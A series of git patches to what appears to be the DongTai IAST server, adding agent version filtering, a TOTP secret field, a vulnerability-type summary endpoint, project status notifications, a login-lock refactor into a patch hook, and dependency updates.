From c18ede4a3b616e120c84a00570027c8638150925 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 18 Sep 2023 15:30:47 +0800 Subject: [PATCH 01/92] feat:add agent url. --- dongtai_web/urls.py | 1 + dongtai_web/views/agents_v2.py | 11 +++++++++++ 2 files changed, 12 insertions(+) diff --git a/dongtai_web/urls.py b/dongtai_web/urls.py index 2359b7259..7bb53277c 100644 --- a/dongtai_web/urls.py +++ b/dongtai_web/urls.py @@ -309,6 +309,7 @@ path("api/v2/agents", AgentListv2.as_view({"get": "pagenation_list"})), path("api/v2/agents/summary", AgentListv2.as_view({"get": "summary"})), path("api/v2/agents/stat", AgentListv2.as_view({"get": "agent_stat"})), + path("api/v2/agents/versions", AgentListv2.as_view({"get": "agent_versions"})), # 组件漏洞 汇总 path("api/v2/app_vul_list_content", GetAppVulsList.as_view()), path("api/v2/app_vul_summary", GetAppVulsSummary.as_view()), diff --git a/dongtai_web/views/agents_v2.py b/dongtai_web/views/agents_v2.py index bfb1d3356..51ca92cac 100644 --- a/dongtai_web/views/agents_v2.py +++ b/dongtai_web/views/agents_v2.py @@ -43,6 +43,7 @@ class AgentListv2ArgsSerializer(serializers.Serializer): project_id = serializers.IntegerField(default=None, required=False, help_text=_("project_id")) project_name = serializers.CharField(default=None, help_text=_("project_name")) allow_report = serializers.IntegerField(default=None, required=False, help_text=_("allow_report")) + version = serializers.CharField(default=None, help_text="agent 版本") class AgentListv2(UserEndPoint, ViewSet): @@ -72,6 +73,8 @@ def pagenation_list(self, request): filter_condiction = filter_condiction & Q( heartbeat__dt__gte=int(time()) - 60 * 60 * 24 * ser.validated_data["last_days"] ) + if ser.validated_data["version"] is not None: + filter_condiction = filter_condiction & Q(version=ser.validated_data["version"]) summary, queryset = self.get_paginator( query_agent(filter_condiction), @@ -134,6 +137,14 @@ def agent_stat(self, request): res = {} return R.success(data=res) + @extend_schema( + tags=[_("Agent")], + summary="获取 Agent 版本信息", + ) + def agent_versions(self, request): + res = list(IastAgent.objects.values_list("version", flat=True).distinct()) + return R.success(data=res) + def get_service_addrs(ip_list: list, port: int) -> list: if not port: From c8d49ebf18330184070d88be79bdf1089f17ef87 Mon Sep 17 00:00:00 2001 From: st1020 Date: Wed, 20 Sep 2023 17:23:27 +0800 Subject: [PATCH 02/92] feat: modify user field --- .../migrations/0029_user_totp_secret.py | 17 +++++++++++++++++ dongtai_common/models/user.py | 1 + 2 files changed, 18 insertions(+) create mode 100644 dongtai_common/migrations/0029_user_totp_secret.py diff --git a/dongtai_common/migrations/0029_user_totp_secret.py b/dongtai_common/migrations/0029_user_totp_secret.py new file mode 100644 index 000000000..65b530128 --- /dev/null +++ b/dongtai_common/migrations/0029_user_totp_secret.py @@ -0,0 +1,17 @@ +# Generated by Django 3.2.20 on 2023-09-20 17:22 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [ + ("dongtai_common", "0028_hookstrategy_modified"), + ] + + operations = [ + migrations.AddField( + model_name="user", + name="totp_secret", + field=models.CharField(blank=True, max_length=255), + ), + ] diff --git a/dongtai_common/models/user.py b/dongtai_common/models/user.py index 25428255b..54d2ccb9d 100644 --- a/dongtai_common/models/user.py +++ b/dongtai_common/models/user.py @@ -68,6 +68,7 @@ class User(AbstractUser, PermissionsMixin): deleted = models.BooleanField(default=False) failed_login_count = models.IntegerField(default=0) failed_login_time = models.DateTimeField(default=timezone.now) + totp_secret = models.CharField(max_length=255, blank=True) objects = SaaSUserManager() using_department = None From 79a7c2288e99b7c08b8245bb2217394a37e0625a Mon Sep 17 00:00:00 2001 From: st1020 Date: Thu, 21 Sep 2023 10:37:30 +0800 Subject: [PATCH 03/92] feat: remove login lock --- dongtai_web/views/user_login.py | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/dongtai_web/views/user_login.py b/dongtai_web/views/user_login.py index 5f5ead513..dd29cc231 100644 --- a/dongtai_web/views/user_login.py +++ b/dongtai_web/views/user_login.py @@ -1,7 +1,6 @@ #!/usr/local/env python import logging import time -from datetime import timedelta from captcha.models import CaptchaStore from django.contrib.auth import authenticate, login @@ -12,6 +11,7 @@ from dongtai_common.endpoint import R, UserEndPoint from dongtai_common.models.user import User from dongtai_common.utils.request_type import Request +from dongtai_conf.patch import patch_point, to_patch logger = logging.getLogger("dongtai-webapi") @@ -26,6 +26,7 @@ class UserLogin(UserEndPoint): summary=_("User login"), tags=[_("User")], ) + @to_patch def post(self, request: Request): """{ 'username': "", @@ -46,16 +47,9 @@ def post(self, request: Request): password = request.data["password"] user: User | None = authenticate(username=username, password=password) # type: ignore if user is not None: - current_time = timezone.now() - delta = current_time - user.failed_login_time - if ( - (user.failed_login_count == 6 and delta < timedelta(minutes=1)) - or (user.failed_login_count == 7 and delta < timedelta(minutes=5)) - or (user.failed_login_count == 8 and delta < timedelta(minutes=15)) - or (user.failed_login_count == 9 and delta < timedelta(minutes=60)) - or user.failed_login_count >= 10 - ): - return R.failure(status=206, msg="账号已被锁定") + user, login_result = patch_point(user, None) + if login_result is not None: + return login_result user.failed_login_count = 0 user.save() login(request, user) From 846538c952b3d950758b33bfc8606747cb80bbf5 Mon Sep 17 00:00:00 2001 From: st1020 Date: Thu, 21 Sep 2023 11:01:49 +0800 Subject: [PATCH 04/92] feat: improve patch type hint --- dongtai_conf/patch/__init__.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/dongtai_conf/patch/__init__.py b/dongtai_conf/patch/__init__.py index 6cd08408b..ea215ea4c 100644 --- a/dongtai_conf/patch/__init__.py +++ b/dongtai_conf/patch/__init__.py @@ -92,6 +92,14 @@ def wrapper(*args: Any, **kwargs: Any): def patch(patch_func: Callable[..., Any], patch_id: int = 0): + @overload + def wrapper(func: Callable[[Unpack[tuple[T]]], T]): + ... + + @overload + def wrapper(func: Callable[[Unpack[Ts]], tuple[Unpack[Ts]]]): + ... + def wrapper(func: Callable[..., Any]): to_patch_func = getattr(patch_func, "to_patch_func", None) if to_patch_func is None: From 435417387da5653406f5fd837f62192f2f0ca52f Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 10:26:22 +0800 Subject: [PATCH 05/92] feat/project_type_summary --- dongtai_web/urls.py | 2 + dongtai_web/views/project_summary.py | 2 + .../views/project_type_summary_list.py | 113 ++++++++++++++++++ dongtai_web/views/utils/commonstats.py | 7 +- 4 files changed, 123 insertions(+), 1 deletion(-) create mode 100644 dongtai_web/views/project_type_summary_list.py diff --git a/dongtai_web/urls.py b/dongtai_web/urls.py index 2359b7259..c4e546b11 100644 --- a/dongtai_web/urls.py +++ b/dongtai_web/urls.py @@ -126,6 +126,7 @@ from dongtai_web.vul_log.vul_log_view import VulLogViewSet from dongtai_web.vul_recheck_payload.vul_recheck_payload import VulReCheckPayloadViewSet from static.i18n.views.setlang import LanguageSetting +from dongtai_web.views.project_type_summary_list import ProjectSummaryVulType urlpatterns: list[URLResolver | URLPattern] = [ path("user/", UserDetailEndPoint.as_view()), @@ -144,6 +145,7 @@ path("project/delete", ProjectDel.as_view()), path("projects", Projects.as_view()), path("projects/summary/", ProjectSummary.as_view()), + path("projects/summary//type_summary", ProjectSummaryVulType.as_view()), path("project/engines/", ProjectEngines.as_view()), path("project/search", ProjectSearch.as_view()), path("project/version/add", ProjectVersionAdd.as_view()), diff --git a/dongtai_web/views/project_summary.py b/dongtai_web/views/project_summary.py index 34a0ca50e..9d68a8813 100644 --- a/dongtai_web/views/project_summary.py +++ b/dongtai_web/views/project_summary.py @@ -26,6 +26,7 @@ class ProjectSummaryDataTypeSummarySerializer(serializers.Serializer): type_name = serializers.CharField(help_text=_("Name of vulnerability")) type_count = serializers.IntegerField(help_text=_("Count of thi vulnerablity type")) type_level = serializers.IntegerField(help_text=_("Level of vulnerability")) + type_total_percentage = serializers.FloatField(help_text="该类型在总漏洞的数量占比") class ProjectSummaryDataDayNumSerializer(serializers.Serializer): @@ -37,6 +38,7 @@ class ProjectSummaryDataLevelCountSerializer(serializers.Serializer): level_name = serializers.CharField(help_text=_("Level name of vulnerability")) level_id = serializers.IntegerField(help_text=_("Level id of vulnerability")) num = serializers.IntegerField(help_text=_("The number of vulnerabilities corresponding to the level")) + level_total_percentage = serializers.FloatField(help_text="该等级在总漏洞的数量占比") class _ProjectSummaryDataSerializer(serializers.Serializer): diff --git a/dongtai_web/views/project_type_summary_list.py b/dongtai_web/views/project_type_summary_list.py new file mode 100644 index 000000000..674cfb185 --- /dev/null +++ b/dongtai_web/views/project_type_summary_list.py @@ -0,0 +1,113 @@ +import time + +from django.utils.translation import gettext_lazy as _ +from rest_framework import serializers + +from dongtai_common.endpoint import R, UserEndPoint +from dongtai_common.models.agent import IastAgent +from dongtai_common.models.project_version import IastProjectVersion +from dongtai_common.utils import const +from dongtai_web.base.project_version import ( + ProjectsVersionDataSerializer, + get_project_version, + get_project_version_by_id, +) +from dongtai_web.serializers.project import ProjectSerializer +from dongtai_web.utils import extend_schema_with_envcheck, get_response_serializer +from dongtai_web.views.utils.commonstats import get_summary_by_project +import time +from collections.abc import Iterable + +from django.db.models import Count, Q, Value +from django.db.models.query import QuerySet + +from dongtai_common.models.hook_type import HookType +from dongtai_common.models.strategy import IastStrategyModel +from dongtai_common.models.vul_level import IastVulLevel +from dongtai_common.models.vulnerablity import IastVulnerabilityModel +from rest_framework.serializers import ValidationError + + +class _DocumentArgsSerializer(serializers.Serializer): + page_size = serializers.IntegerField(default=20, help_text=_("Number per page")) + page = serializers.IntegerField(default=1, help_text=_("Page index")) + version_id = serializers.IntegerField(default=1, help_text="项目版本id") + + +class ProjectSummaryDataTypeSummarySerializer(serializers.Serializer): + type_name = serializers.CharField(help_text="漏洞类型") + type_count = serializers.IntegerField(help_text="该类型的漏洞总数") + type_level = serializers.IntegerField(help_text="该类型的危险等级") + type_total_percentage = serializers.FloatField(help_text="该类型在总漏洞的数量占比") + + +_ProjectSummaryResponseSerializer = get_response_serializer(ProjectSummaryDataTypeSummarySerializer()) + + +class ProjectSummaryVulType(UserEndPoint): + @extend_schema_with_envcheck( + tags=[_("Project")], + summary=_("项目类型汇总列表"), + description=_("Get project deatils and its statistics data about vulnerablity."), + response_schema=_ProjectSummaryResponseSerializer, + ) + def get(self, request, id): + project = request.user.get_projects().filter(id=id).first() + ser = _DocumentArgsSerializer(data=request.GET) + version_id = request.GET.get("version_id", None) + try: + if ser.is_valid(True): + page_size = ser.validated_data["page_size"] + page = ser.validated_data["page"] + except ValidationError as e: + return R.failure(data=e.detail) + if not version_id: + current_project_version = get_project_version(project.id) + else: + current_project_version = get_project_version_by_id(version_id) + project_version_id = current_project_version.get("version_id", 0) + project_id = project.id + queryset = IastVulnerabilityModel.objects.filter( + project_id=project_id, project_version_id=project_version_id, is_del=0 + ).values("hook_type_id", "strategy_id", "level_id", "latest_time") + data = {} + q = ~Q(hook_type_id=0) + queryset = queryset.filter(q) + _, documents = self.get_paginator(queryset, page, page_size) + typeArr = {} + typeLevel = {} + levelCount = {} + strategy_ids = queryset.values_list("strategy_id", flat=True).distinct() + strategys = { + strategy["id"]: strategy + for strategy in IastStrategyModel.objects.filter(pk__in=strategy_ids).values("id", "vul_name").all() + } + hook_type_ids = queryset.values_list("hook_type_id", flat=True).distinct() + hooktypes = { + hooktype["id"]: hooktype + for hooktype in HookType.objects.filter(pk__in=hook_type_ids).values("id", "name").all() + } + if queryset: + for one in queryset: + hook_type = hooktypes.get(one["hook_type_id"], None) + hook_type_name = hook_type["name"] if hook_type else None + strategy = strategys.get(one["strategy_id"], None) + strategy_name = strategy["vul_name"] if strategy else None + type_ = list(filter(lambda x: x is not None, [strategy_name, hook_type_name])) + one["type"] = type_[0] if type_ else "" + typeArr[one["type"]] = typeArr.get(one["type"], 0) + 1 + typeLevel[one["type"]] = one["level_id"] + levelCount[one["level_id"]] = levelCount.get(one["level_id"], 0) + 1 + typeArrKeys = typeArr.keys() + data["type_summary"].extend( + { + "type_name": item_type, + "type_count": typeArr[item_type], + "type_level": typeLevel[item_type], + } + for item_type in typeArrKeys + ) + type_summary_total_count = sum(i["type_count"] for i in data["type_summary"]) + for type_summary in data["type_summary"]: + type_summary["type_total_percentage"] = type_summary["type_total_percentage"] / type_summary_total_count + return R.success() diff --git a/dongtai_web/views/utils/commonstats.py b/dongtai_web/views/utils/commonstats.py index 7ba10d00f..3e8f4b68f 100644 --- a/dongtai_web/views/utils/commonstats.py +++ b/dongtai_web/views/utils/commonstats.py @@ -175,7 +175,9 @@ def get_summary_by_project(project_id: int, project_version_id: int): } for item_type in typeArrKeys ) - + type_summary_total_count = sum(i["type_count"] for i in data["type_summary"]) + for type_summary in data["type_summary"]: + type_summary["type_total_percentage"] = type_summary["type_total_percentage"] / type_summary_total_count current_timestamp, a_week_ago_timestamp, days = weeks_ago(week=1) daylist = [] while days >= 0: @@ -240,6 +242,9 @@ def get_summary_by_project(project_id: int, project_version_id: int): } ) data["level_count"] = levelNum + level_total_count = sum(i["num"] for i in data["level_count"]) + for level in data["level_count"]: + level["level_total_percentage"] = level["num"] / level_total_count return data From 50b2c9982768700458459017be38a734073749f5 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 10:39:22 +0800 Subject: [PATCH 06/92] feat/project_type_summary --- dongtai_web/urls.py | 2 +- .../views/project_type_summary_list.py | 23 ++++--------------- 2 files changed, 6 insertions(+), 19 deletions(-) diff --git a/dongtai_web/urls.py b/dongtai_web/urls.py index c4e546b11..a5965ac41 100644 --- a/dongtai_web/urls.py +++ b/dongtai_web/urls.py @@ -75,6 +75,7 @@ from dongtai_web.views.project_search import ProjectSearch from dongtai_web.views.project_summary import ProjectSummary from dongtai_web.views.project_token import ProjectToken +from dongtai_web.views.project_type_summary_list import ProjectSummaryVulType from dongtai_web.views.project_version_add import ProjectVersionAdd from dongtai_web.views.project_version_current import ProjectVersionCurrent from dongtai_web.views.project_version_delete import ProjectVersionDelete @@ -126,7 +127,6 @@ from dongtai_web.vul_log.vul_log_view import VulLogViewSet from dongtai_web.vul_recheck_payload.vul_recheck_payload import VulReCheckPayloadViewSet from static.i18n.views.setlang import LanguageSetting -from dongtai_web.views.project_type_summary_list import ProjectSummaryVulType urlpatterns: list[URLResolver | URLPattern] = [ path("user/", UserDetailEndPoint.as_view()), diff --git a/dongtai_web/views/project_type_summary_list.py b/dongtai_web/views/project_type_summary_list.py index 674cfb185..dc3d9e2df 100644 --- a/dongtai_web/views/project_type_summary_list.py +++ b/dongtai_web/views/project_type_summary_list.py @@ -1,31 +1,18 @@ -import time +from django.db.models import Q from django.utils.translation import gettext_lazy as _ from rest_framework import serializers +from rest_framework.serializers import ValidationError from dongtai_common.endpoint import R, UserEndPoint -from dongtai_common.models.agent import IastAgent -from dongtai_common.models.project_version import IastProjectVersion -from dongtai_common.utils import const +from dongtai_common.models.hook_type import HookType +from dongtai_common.models.strategy import IastStrategyModel +from dongtai_common.models.vulnerablity import IastVulnerabilityModel from dongtai_web.base.project_version import ( - ProjectsVersionDataSerializer, get_project_version, get_project_version_by_id, ) -from dongtai_web.serializers.project import ProjectSerializer from dongtai_web.utils import extend_schema_with_envcheck, get_response_serializer -from dongtai_web.views.utils.commonstats import get_summary_by_project -import time -from collections.abc import Iterable - -from django.db.models import Count, Q, Value -from django.db.models.query import QuerySet - -from dongtai_common.models.hook_type import HookType -from dongtai_common.models.strategy import IastStrategyModel -from dongtai_common.models.vul_level import IastVulLevel -from dongtai_common.models.vulnerablity import IastVulnerabilityModel -from rest_framework.serializers import ValidationError class _DocumentArgsSerializer(serializers.Serializer): From b5c1b225c9ddf38afc981a491ddf626bf5e6317f Mon Sep 17 00:00:00 2001 From: st1020 Date: Fri, 22 Sep 2023 10:41:39 +0800 Subject: [PATCH 07/92] feat: add project status change notify --- dongtai_common/models/project.py | 5 +++++ dongtai_engine/plugins/project_status.py | 24 +++++++++++++++++++++++ dongtai_web/views/engine_hook_rule_add.py | 6 +++++- 3 files changed, 34 insertions(+), 1 deletion(-) diff --git a/dongtai_common/models/project.py b/dongtai_common/models/project.py index ddfbc87a8..7e91f9b2c 100644 --- a/dongtai_common/models/project.py +++ b/dongtai_common/models/project.py @@ -1,5 +1,6 @@ #!/usr/bin/env python # datetime:2020/11/30 下午5:32 +import os.path import string import time @@ -11,6 +12,7 @@ from dongtai_common.models.strategy_user import IastStrategyUser from dongtai_common.utils.db import get_timestamp from dongtai_common.utils.settings import get_managed +from dongtai_conf.settings import DOMAIN_VUL class VulValidation(models.IntegerChoices): @@ -91,6 +93,9 @@ def update_latest(self): self.latest_time = int(time.time()) self.save(update_fields=["latest_time"]) + def get_url(self): + return os.path.join(DOMAIN_VUL, "project/projectDetail", str(self.id)) + class IastProjectUser(models.Model): id = models.BigAutoField(primary_key=True) diff --git a/dongtai_engine/plugins/project_status.py b/dongtai_engine/plugins/project_status.py index 2855810d8..ccab870a2 100644 --- a/dongtai_engine/plugins/project_status.py +++ b/dongtai_engine/plugins/project_status.py @@ -3,10 +3,14 @@ from celery import shared_task from celery.apps.worker import logger +from django.db.models import Q from dongtai_common.models.agent import IastAgent +from dongtai_common.models.message import IastMessage, IastMessageType from dongtai_common.models.profile import IastProfile from dongtai_common.models.project import IastProject, ProjectStatus +from dongtai_common.models.user import User +from dongtai_engine.signals import send_notify PROJECT_WARNING_TIME_KEY = "project_warning_time" DEFAULT_PROJECT_WARNING_TIME = {"error_time": 2 * 7, "offline_time": 3 * 30} @@ -52,6 +56,26 @@ def update_project_status() -> None: project.save(update_fields=("status", "last_has_online_agent_time")) if old_status != project.status: + send_notify.send_robust(sender=update_project_status, project_id=project.id) + + authed_user_ids = User.objects.filter( + Q(deleted=False) + & ( + Q(is_global_permission=True) + | Q(iastprojectgroup__projects=project.id) + | Q(auth_projects=project.id) + ) + ).values_list("id", flat=True) + IastMessage.objects.bulk_create( + IastMessage( + message=f"{project.name}】项目状态变更为【{ProjectStatus.names[project.status]}】", + relative_url=project.get_url(), + create_time=time(), + message_type=IastMessageType.objects.get(pk=2), + to_user_id=user_id, + ) + for user_id in authed_user_ids + ) logger.info(f"update project status: {project} from {old_status} to {project.status}") logger.info("检测项目状态更新结束") diff --git a/dongtai_web/views/engine_hook_rule_add.py b/dongtai_web/views/engine_hook_rule_add.py index db2c9b275..42111b33b 100644 --- a/dongtai_web/views/engine_hook_rule_add.py +++ b/dongtai_web/views/engine_hook_rule_add.py @@ -2,6 +2,7 @@ import logging import time +from django.db.models import Q from django.utils.text import format_lazy from django.utils.translation import gettext_lazy as _ from rest_framework import serializers @@ -231,7 +232,10 @@ def post(self, request): ) if HookStrategy.objects.filter( - language_id=ser.validated_data["language_id"], type=type_, value=rule_value + ~Q(enable=const.DELETE), + language_id=ser.validated_data["language_id"], + type=type_, + value=rule_value, ).exists(): return R.failure(msg="Already exists same rule") From 8f186f7ac6f08ebe2cce646675914812655ead6e Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 11:21:47 +0800 Subject: [PATCH 08/92] feat: project type_summary list --- .../views/project_type_summary_list.py | 44 ++++++++++--------- 1 file changed, 23 insertions(+), 21 deletions(-) diff --git a/dongtai_web/views/project_type_summary_list.py b/dongtai_web/views/project_type_summary_list.py index dc3d9e2df..efca263dc 100644 --- a/dongtai_web/views/project_type_summary_list.py +++ b/dongtai_web/views/project_type_summary_list.py @@ -1,5 +1,4 @@ - -from django.db.models import Q +from django.db.models import Q, Count from django.utils.translation import gettext_lazy as _ from rest_framework import serializers from rest_framework.serializers import ValidationError @@ -33,6 +32,7 @@ class ProjectSummaryDataTypeSummarySerializer(serializers.Serializer): class ProjectSummaryVulType(UserEndPoint): @extend_schema_with_envcheck( + [_DocumentArgsSerializer], tags=[_("Project")], summary=_("项目类型汇总列表"), description=_("Get project deatils and its statistics data about vulnerablity."), @@ -54,37 +54,39 @@ def get(self, request, id): current_project_version = get_project_version_by_id(version_id) project_version_id = current_project_version.get("version_id", 0) project_id = project.id - queryset = IastVulnerabilityModel.objects.filter( - project_id=project_id, project_version_id=project_version_id, is_del=0 - ).values("hook_type_id", "strategy_id", "level_id", "latest_time") - data = {} + queryset = ( + IastVulnerabilityModel.objects.filter( + project_id=project_id, project_version_id=project_version_id, is_del=0 + ) + .values("strategy_id") + .annotate(vul_count=Count("strategy_id")) + .filter(vul_count__gt=0) + .order_by("vul_count") + ) + data = {"type_summary": []} q = ~Q(hook_type_id=0) queryset = queryset.filter(q) - _, documents = self.get_paginator(queryset, page, page_size) + page_info, queryset = self.get_paginator(queryset, page, page_size) typeArr = {} typeLevel = {} levelCount = {} - strategy_ids = queryset.values_list("strategy_id", flat=True).distinct() + # strategy_ids = queryset.values_list("strategy_id", flat=True).distinct() + strategy_ids = (i["strategy_id"] for i in queryset) strategys = { strategy["id"]: strategy - for strategy in IastStrategyModel.objects.filter(pk__in=strategy_ids).values("id", "vul_name").all() - } - hook_type_ids = queryset.values_list("hook_type_id", flat=True).distinct() - hooktypes = { - hooktype["id"]: hooktype - for hooktype in HookType.objects.filter(pk__in=hook_type_ids).values("id", "name").all() + for strategy in IastStrategyModel.objects.filter(pk__in=strategy_ids) + .values("id", "vul_name", "level_id") + .all() } if queryset: for one in queryset: - hook_type = hooktypes.get(one["hook_type_id"], None) - hook_type_name = hook_type["name"] if hook_type else None + hook_type_name = "" strategy = strategys.get(one["strategy_id"], None) strategy_name = strategy["vul_name"] if strategy else None type_ = list(filter(lambda x: x is not None, [strategy_name, hook_type_name])) one["type"] = type_[0] if type_ else "" - typeArr[one["type"]] = typeArr.get(one["type"], 0) + 1 - typeLevel[one["type"]] = one["level_id"] - levelCount[one["level_id"]] = levelCount.get(one["level_id"], 0) + 1 + typeArr[one["type"]] = one["vul_count"] + typeLevel[one["type"]] = strategy["level_id"] typeArrKeys = typeArr.keys() data["type_summary"].extend( { @@ -96,5 +98,5 @@ def get(self, request, id): ) type_summary_total_count = sum(i["type_count"] for i in data["type_summary"]) for type_summary in data["type_summary"]: - type_summary["type_total_percentage"] = type_summary["type_total_percentage"] / type_summary_total_count - return R.success() + type_summary["type_total_percentage"] = type_summary["type_count"] / type_summary_total_count + return R.success(data=data["type_summary"], page=page_info) From 28887fa853d45f85ed9d49a0b17e05a7322e171b Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 11:24:23 +0800 Subject: [PATCH 09/92] feat: project type_summary list --- dongtai_web/views/project_type_summary_list.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/dongtai_web/views/project_type_summary_list.py b/dongtai_web/views/project_type_summary_list.py index efca263dc..05665b9f2 100644 --- a/dongtai_web/views/project_type_summary_list.py +++ b/dongtai_web/views/project_type_summary_list.py @@ -1,10 +1,9 @@ -from django.db.models import Q, Count +from django.db.models import Count, Q from django.utils.translation import gettext_lazy as _ from rest_framework import serializers from rest_framework.serializers import ValidationError from dongtai_common.endpoint import R, UserEndPoint -from dongtai_common.models.hook_type import HookType from dongtai_common.models.strategy import IastStrategyModel from dongtai_common.models.vulnerablity import IastVulnerabilityModel from dongtai_web.base.project_version import ( @@ -69,7 +68,6 @@ def get(self, request, id): page_info, queryset = self.get_paginator(queryset, page, page_size) typeArr = {} typeLevel = {} - levelCount = {} # strategy_ids = queryset.values_list("strategy_id", flat=True).distinct() strategy_ids = (i["strategy_id"] for i in queryset) strategys = { From 1cd491b08e6db350848ae767febb1dffe76fa6aa Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Fri, 22 Sep 2023 11:46:51 +0800 Subject: [PATCH 10/92] feat: project type_summary list --- dongtai_web/views/project_type_summary_list.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/dongtai_web/views/project_type_summary_list.py b/dongtai_web/views/project_type_summary_list.py index 05665b9f2..782784a50 100644 --- a/dongtai_web/views/project_type_summary_list.py +++ b/dongtai_web/views/project_type_summary_list.py @@ -39,6 +39,8 @@ class ProjectSummaryVulType(UserEndPoint): ) def get(self, request, id): project = request.user.get_projects().filter(id=id).first() + if not project: + return R.failure(msg="项目不存在") ser = _DocumentArgsSerializer(data=request.GET) version_id = request.GET.get("version_id", None) try: @@ -52,6 +54,8 @@ def get(self, request, id): else: current_project_version = get_project_version_by_id(version_id) project_version_id = current_project_version.get("version_id", 0) + if not project_version_id: + return R.failure(msg="项目版本不存在") project_id = project.id queryset = ( IastVulnerabilityModel.objects.filter( From bd8f7fa56c5984d5e21ef473fc20754f4e5c669a Mon Sep 17 00:00:00 2001 From: CC11001100 Date: Fri, 22 Sep 2023 12:02:50 +0800 Subject: [PATCH 11/92] =?UTF-8?q?ci:=20=E6=9B=B4=E6=96=B0helm=20action?= =?UTF-8?q?=E4=BB=93=E5=BA=93=EF=BC=8C=E8=A7=A3=E5=86=B3helm=E9=83=A8?= =?UTF-8?q?=E7=BD=B2=E6=97=B6=E9=94=81=E7=AB=9E=E4=BA=89=E5=AF=BC=E8=87=B4?= =?UTF-8?q?=E5=81=B6=E5=B0=94CI=E5=A4=B1=E8=B4=A5=E7=9A=84=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/deploy-dev.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/deploy-dev.yaml b/.github/workflows/deploy-dev.yaml index 8f7dfee34..95b6e8c92 100644 --- a/.github/workflows/deploy-dev.yaml +++ b/.github/workflows/deploy-dev.yaml @@ -81,7 +81,7 @@ jobs: registry.cn-hongkong.aliyuncs.com/secnium/dongtai-server:${{ steps.version.outputs.GITHUB_REF }}-1.0.${{github.run_number}} - name: deploy to cluster - uses: tscuite/kubectl-helm-action@main + uses: HXSecurity/kubectl-helm-action@main env: MAX: false PROJECT: server From ff58adcc217bf37cbe1a32c87786bc866299d2fb Mon Sep 17 00:00:00 2001 From: st1020 Date: Fri, 22 Sep 2023 12:04:45 +0800 Subject: [PATCH 12/92] deps: add pyotp dep --- Pipfile | 1 + Pipfile.lock | 287 ++++++++++++++++++++++++++++++----------------- requirements.txt | 31 ++--- 3 files changed, 200 insertions(+), 119 deletions(-) diff --git a/Pipfile b/Pipfile index 28a33a7f1..d0cb969f7 100644 --- a/Pipfile +++ b/Pipfile @@ -94,6 +94,7 @@ networkx = {extras = ["all"], version = "*"} pandas = "~=2.1.0" pydot = "*" more-itertools = "*" +pyotp = "~=2.9.0" [dev-packages] diff --git a/Pipfile.lock b/Pipfile.lock index 95183592a..b7e283586 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "c9e58f315e908fc3858271e78cc4ee73aa4f703e1320fe97d6ba4c7b02a782e0" + "sha256": "5850e346e1045a0eea8901338764b7b96efdb52b36ac4a882d75bb747d6c76c7" }, "pipfile-spec": 6, "requires": { @@ -49,6 +49,7 @@ "sha256:9e0ce3aa93a819ba5b45120216b23878cf6e8525eb3848653452b4192b92afed" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==3.7.2" }, "async-timeout": { @@ -89,15 +90,17 @@ "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==1.24.59" }, "boto3-stubs": { "hashes": [ - "sha256:489a027b5298e840f889cb3213ecfe44fbbdc16156a648fcd2bf0824156dfe2b", - "sha256:a448163c1ef6e3fb383b0a2b25dcadb2cf8b0571ff4a39db9cf6b83760bad7f0" + "sha256:12d7e5865aeec52e1f73b935b1c6a42e61325538fc2cb83a87a83e41e9485241", + "sha256:3ea81a225e062f3bcb205467891086ea031519697ad54622e61251b52609b8d6" ], "index": "pypi", - "version": "==1.28.46" + "markers": "python_version >= '3.7'", + "version": "==1.28.52" }, "botocore": { "hashes": [ @@ -105,15 +108,17 @@ "sha256:c8fac203a391cc2e4b682877bfce70e723e33c529b35b399a1d574605fbeb1af" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==1.27.91" }, "botocore-stubs": { "hashes": [ - "sha256:120334397569ec75f17dc0503d438b5d7791c82ea375bfac98d41a4fad0e1fe9", - "sha256:5d19d73de8aabef48ea7d9fe6ffab83bb46d066080d5aed82403fc3478f6b5b9" + "sha256:11431ac0faa35cad6deed6e87002f312f8ea6358d8106a241b60bcead2f84279", + "sha256:2fa9b78c7a335a94d918079773dc3198786de741586187d847a8710b9c337009" ], "index": "pypi", - "version": "==1.31.46" + "markers": "python_version >= '3.7' and python_version < '4.0'", + "version": "==1.31.52" }, "celery": { "hashes": [ @@ -121,6 +126,7 @@ "sha256:3afa81e7c6393097a4079badc11117ac20a1bf145c92ae5f1cc3ed24c2b1f165" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==5.3.0rc1" }, "celery-singleton": { @@ -129,6 +135,7 @@ "sha256:76b30a1bbe31d42030924b3eecfcaae2ab3ab99bf43e607cd46437f012434420" ], "index": "pypi", + "markers": "python_version >= '3.6' and python_version < '4.0'", "version": "==0.3.1" }, "certifi": { @@ -137,6 +144,7 @@ "sha256:92d6037539857d8206b8f6ae472e8b77db8058fec5937a1ef3f54304089edbb9" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==2023.7.22" }, "cffi": { @@ -215,6 +223,7 @@ "sha256:e1cf59446890a00105fe7b7912492ea04b6e6f06d4b742b2c788469e34c82970" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==5.2.0" }, "charset-normalizer": { @@ -365,6 +374,7 @@ "sha256:d0d651aa754ef58d75cec6edfbd21259d93810b73f6ec246436a21b7841908de" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==41.0.3" }, 